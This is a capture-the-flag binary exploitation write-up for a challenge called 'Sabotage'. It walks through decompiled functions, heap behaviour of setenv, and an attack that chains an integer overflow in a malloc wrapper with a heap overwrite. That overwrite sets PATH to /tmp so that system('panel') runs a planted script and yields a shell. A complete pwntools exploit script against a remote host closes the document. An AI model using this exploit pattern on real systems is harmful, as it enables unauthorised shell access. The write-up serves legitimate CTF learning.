Sabotage

1) Checked security

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Sabotage/challenge]
└─$ checksec sabotage
[*] '/home/vigneswar/Pwn/Sabotage/challenge/sabotage'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./glibc/'

┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Sabotage/challenge]
└─$ |
```

2) Decompiled the code

Decompile: setup - (sabotage)

```c

void setup(void)

{
  time_t tVar1;

  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  return;
}

```

This function disables standard buffering the initializes srand with current time

Decompile: main - (sabotage)

```c

void main(void)

{
  undefined8 uVar1;

  setup();
  welcome();
  do {
    action_menu();
    uVar1 = read_option();
    switch(uVar1) {
    case 1:
      enter_command_control();
      break;
    case 2:
      quantum_destabilizer();
      break;
    case 3:
      combat_enemy_destroyer();
      break;
    case 4:
      intercept_c2_communication();
      break;
    case 5:
      puts("[\x1b[31m!\x1b[39m] Aborting the sabotage...");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  } while( true );
}

```

This is the main function, that has 4 different options for us to run and an exit

Decompile: enter_command_control - (sabotage)

```
void enter_command_control(void)

{
  char *pcVar1;
  long in_FS_OFFSET;
  undefined8 local_20;
  char *local_18;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts(
      "Access to the control panel of the enemy ship is protected through a privileged ACCESS code o
      f unpredictable size"
      );
  pcVar1 = getenv("ACCESS");
  if (pcVar1 == (char *)0x0) {
    setenv("ACCESS","DENIED",1);
  }
  printf("[\x1b[34m*\x1b[39m] ACCESS code length: ");
  __isoc99_scanf(&DAT_00102023,&local_20);
  local_18 = (char *)Malloc(local_20);
  if (local_18 == (char *)0x0) {
    puts("[\x1b[31m!\x1b[39m] Connection is lost, quantum noise is disrupting the transmission.\n");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  printf("[\x1b[34m*\x1b[39m] ACCESS code: ");
  readBuffer(local_18,local_20);
  setenv("ACCESS",local_18,1);
  system("panel");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

This function gets "ACCESS" environment variable, if it doesnt exist, sets its value to "DENIED" then it reads value from us and sets ACCESS to that value

Decompile: quantum_destabilizer - (sabotage)

```
void quantum_destabilizer(void)

{
  int __fd;
  char *pcVar1;
  undefined8 *__string;
  size_t __n;
  long in_FS_OFFSET;
  char local_60 [8];
  undefined4 local_58;
  undefined2 local_54;
  char local_38 [40];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  pcVar1 = getenv("ACCESS");
  if (pcVar1 == (char *)0x0) {
    __string = (undefined8 *)Malloc(0x18);
    *__string = 0x443d535345434341;
    *(undefined4 *)(__string + 1) = 0x45494e45;
    *(undefined2 *)((long)__string + 0xc) = 0x44;
    putenv((char *)__string);
  }
  printf("[\x1b[34m*\x1b[39m] Quantum destabilizer mount point: ");
  fgets(local_60,8,stdin);
  pcVar1 = strchr(local_60,0x2e);
  if (pcVar1 == (char *)0x0) {
    pcVar1 = strchr(local_60,0x2f);
    if (pcVar1 == (char *)0x0) {
      pcVar1 = strchr(local_60,10);
      if (pcVar1 != (char *)0x0) {
        *pcVar1 = '\0';
      }
      memset(&local_58,0,0x20);
      local_58 = 0x706d742f;
      local_54 = 0x2f;
      strcat((char *)&local_58,local_60);
      __fd = open((char *)&local_58,0x42,0x1ff);
      if (__fd == -1) {
        puts("[\x1b[31m!\x1b[39m] Quantum destabilizer failed to penetrate the shield.");
                    /* WARNING: Subroutine does not return */
        exit(-1);
      }
      printf(
            "[\x1b[34m*\x1b[39m] Quantum destablizer is ready to pass a small armed unit through the
             enemy\'s shield: "
            );
      fgets(local_38,0x20,stdin);
      __n = strlen(local_38);
      write(__fd,local_38,__n);
      close(__fd);
```

```
      puts("[\x1b[32m+\x1b[39m] Quantum destabilizer successfully destablized Thanatos shield.");
      penetrated_the_shield = 1;
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return;
    }
  }
  puts("[\x1b[31m!\x1b[39m] Thanatos spotted the intrusion, you are shot with a deadly lazer beam.")
  ;
                    /* WARNING: Subroutine does not return */
  exit(-1);
}
```

This gets a filename from us

i) doesnt contain . or /

ii) is atmost 8 length

iii) writes upto 32 bytes in to the filename in /tmp/directory

iv) Also the file is stored with executable permissions

Decompile: combat_enemy_destroyer - (sabotage)

```
void combat_enemy_destroyer(void)

{
  int iVar1;
  ulong uVar2;
  uint local_1c;
  uint local_18;
  int local_14;

  local_1c = 1000;
  local_18 = 100000000;
  local_14 = 0x28;
  puts("[\x1b[34m*\x1b[39m] Approaching Thanatos for a direct combat fight.");
  if (penetrated_the_shield == '\0') {
    puts("[\x1b[34m*\x1b[39m] Thanatos has a protective shield.");
    local_14 = 5;
  }
  while( true ) {
    if ((int)local_1c < 1) {
      printf("[\x1b[34m*\x1b[39m] Bonnie Health: \x1b[31m%d\x1b[39m\n",(ulong)local_1c);
    }
    else {
      printf("[\x1b[34m*\x1b[39m] Bonnie Health: \x1b[32m%d\x1b[39m\n",(ulong)local_1c);
    }
    if ((int)local_18 < 0x3e9) {
      printf("[\x1b[34m*\x1b[39m] Thanatos Health: \x1b[31m%d\x1b[39m\n",(ulong)local_18);
    }
    else {
      printf("[\x1b[34m*\x1b[39m] Thanatos Health: \x1b[32m%d\x1b[39m\n",(ulong)local_18);
    }
    puts("\n");
    if ((int)local_1c < 1) break;
    if ((int)local_18 < 1) {
      puts("[\x1b[32m+\x1b[39m] Thanatos is \x1b[31mdestroyed\x1b[39m!");
      puts("[\x1b[32m+\x1b[39m] Mission accomplished!");
                    /* WARNING: Subroutine does not return */
      exit(-0x21524111);
    }
    weaponry_menu();
    uVar2 = read_option();
    if (uVar2 == 2) {
      local_18 = local_18 + local_14 * -0x1e;
    }
    else if (uVar2 < 3) {
      if (uVar2 == 1) {
        local_18 = local_18 + local_14 * -0x14;
      }
    }
    else if (uVar2 == 3) {
      local_18 = local_18 + local_14 * -0xf;
    }
```

```
    else if (uVar2 == 4) {
      local_18 = local_18 + local_14 * -10;
    }
    iVar1 = rand();
    local_1c = local_1c + (iVar1 % 0x1e) * -0x50;
  }
  puts("[\x1b[31m!\x1b[39m] You are \x1b[31mannihilated\x1b[39m.");
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

This is not so useful function that exits regardless of whatever we do

Decompile: intercept_c2_communication - (sabotage)

```
void intercept_c2_communication(void)

{
  int iVar1;
  long in_FS_OFFSET;
  uint local_60;
  int local_5c;
  int local_58;
  int local_54;
  int local_50;
  int local_4c;
  char *local_48;
  char *local_40;
  byte local_38 [31];
  undefined local_19;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_54 = open("/dev/urandom",0);
  local_48 = (char *)0x0;
  local_40 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!-./:;<=>?@[\\]^_`{|}~";
  puts(
      "[\x1b[34m*\x1b[39m] Intercepting Thanatos communication with the command center, but unfortun
      ately they use quantum encryption."
      );
  read(local_54,&local_60,4);
  srand(local_60);
  local_50 = rand();
  local_50 = local_50 % 10;
  if (local_50 == 0) {
    puts("[\x1b[31m!\x1b[39m] No message is intercepted!");
  }
  for (local_5c = 0; local_5c < local_50; local_5c = local_5c + 1) {
    local_4c = rand();
    local_4c = local_4c % 2;
    if (local_4c == 0) {
      local_48 = "Enemy";
    }
    else {
      local_48 = "C2C";
    }
    read(local_54,local_38,0x1f);
    for (local_58 = 0; local_58 < 0x1f; local_58 = local_58 + 1) {
      local_38[local_58] =
           local_40[(uint)local_38[local_58] + (uint)(local_38[local_58] / 0x53) * -0x53 & 0xff];
    }
    local_19 = 0;
    printf("\n[\x1b[32m%s\x1b[39m] %s\n",local_48,local_38);
    iVar1 = rand();
    sleep(iVar1 % 3);
  }
  puts("");
  close(local_54);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

This function prints a bunch of random bytes that is pretty useless

Decompile: readBuffer - (sabotage)

```
void readBuffer(long param_1,ulong param_2)

{
  ulong local_10;

  local_10 = 0;
  while( true ) {
    if (param_2 <= local_10) {
      return;
    }
    read(0,(void *)(local_10 + param_1),1);
    if (*(char *)(local_10 + param_1) == '\0') break;
    if (*(char *)(local_10 + param_1) == '\n') {
      *(undefined *)(local_10 + param_1) = 0;
      return;
    }
    local_10 = local_10 + 1;
  }
  return;
}

```

This function reads until we enter a null or newline

Decompile: Malloc - (sabotage)

```
long * Malloc(long param_1)

{
  long *plVar1;

  plVar1 = (long *)malloc(param_1 + 8);
  if (plVar1 == (long *)0x0) {
    plVar1 = (long *)0x0;
  }
  else {
    *plVar1 = param_1;
    plVar1 = plVar1 + 1;
  }
  return plVar1;
}

```

This is a wrapper to malloc that allocates extra 8 bytes and stores the size

Decompile: read_option - (sabotage)

```
long read_option(void)

{
  char *__s;
  long lVar1;

  __s = (char *)Malloc(0x10);
  printf("> ");
  fgets(__s,0x10,stdin);
  lVar1 = strtol(__s,(char **)0x0,0);
  Free(__s);
  return lVar1;
}
```

3) Checked str function details

Function	Purpose	Prototype	Parameters	Returns
`strtol`	Converts a string to a `long` integer.	`long int strtol(const char *str, char **endptr, int base);`	- `str`: Input string - `endptr`: Pointer to the character after the last valid conversion (can be `NULL`) - `base`: Numeric base (e.g., 10 for decimal)	The converted `long` integer.
`strchr`	Finds the first occurrence of a character in a string.	`char *strchr(const char *str, int c);`	- `str`: Input string - `c`: Character to search for (converted to `char`).	Pointer to the first occurrence of the character, or `NULL` if not found.
`strcat`	Concatenates (appends) one string to another.	`char *strcat(char *dest, const char *src);`	- `dest`: Destination string (should be large enough to hold the result) - `src`: Source string to append.	Pointer to the destination string (`dest`).

4) Environment variables are stored in heap when setenv is called

```
(remote) gef➤  p environ
$8 = (char **) 0x561bc12fc2f0
(remote) gef➤  x/10a 0x561bc12fc2f0
0x561bc12fc2f0: 0x7ffd623cbe75  0x7ffd623cbe80
0x561bc12fc300: 0x7ffd623cbe95  0x7ffd623cbea5
0x561bc12fc310: 0x7ffd623cbeb6  0x7ffd623cbece
0x561bc12fc320: 0x7ffd623cbee6  0x7ffd623cbefb
0x561bc12fc330: 0x7ffd623cbf10  0x7ffd623cbf29
(remote) gef➤  x/s 0x7ffd623cbe75
0x7ffd623cbe75: "DISPLAY=:0"
(remote) gef➤  vmmap  0x561bc12fc2f0
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000561bc12fc000 0x0000561bc131d000 0x0000000000000000 rw- [heap]
(remote) gef➤
```

putenv takes a string of the form `NAME=VALUE`. This is reasonably convenient as it gets for adding a fixed value to the environment but less so if either of the name or value aren't fixed. Also it *does not copy* the string, which has the following important implications:

- You must not pass an `auto` array to it
- If you modify the string, you modify the environment
- After removing the name from the environment you can free the string and therefore not leak memory

```
int setenv(const char *envname,
           const char *envval,
           int overwrite);
```

setenv takes the name and value separately and allows you to back out of the variable is already set. This is adequately convenient for most possible applications. It creates a new copy, so:

- You can pass an `auto` array
- You can modify the values you passed without affecting the environment
- You have no idea (in general) what, if anything, to free when you remove the value from the environment

5) Attack

i) The binary has system(panel)

ii) We also have a arbitrary file write on /tmp/ path

iii) We have to somehow corrupt the environment variables to set PATH to /tmp/

iv) Then we write a file called panel with sh

v) We can get a shell with the system(panel)

6) Corrupting heap values

i) The Malloc wrapper gets the number of bytes as parameter, if we manage to overflow it a integer overflow it will allocate a small value where we can write a large value

ii) Using the heap overflow we can corrupt the stored ACCESS variable and change it to PATH=/tmp/

7) Exploit

```python
#!/usr/bin/env python3

from pwn import *

context(os='linux', arch='amd64', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./sabotage")
libc = ELF("glibc/libc.so.6")
ld = ELF("glibc/ld-linux-x86-64.so.2")
context.binary = exe

# io = gdb.debug(exe.path, 'set follow-fork-mode parent', api=True)
```

```python
# io = process(exe.path)
io = remote('94.237.50.176', 34928)

# create panel file
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b': ', b'panel')
io.sendlineafter(b': ', b'#!/bin/sh -s')

# exploit the integer overflow to corrupt path variable
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b': ', b'-1')
io.sendlineafter(b': ', b'a'*32+b'PATH=/tmp/')

# set max-visualize-chunk-size 0x500
io.sendline(b'./flag.txt 2>&1')

io.interactive()
```

8) Flag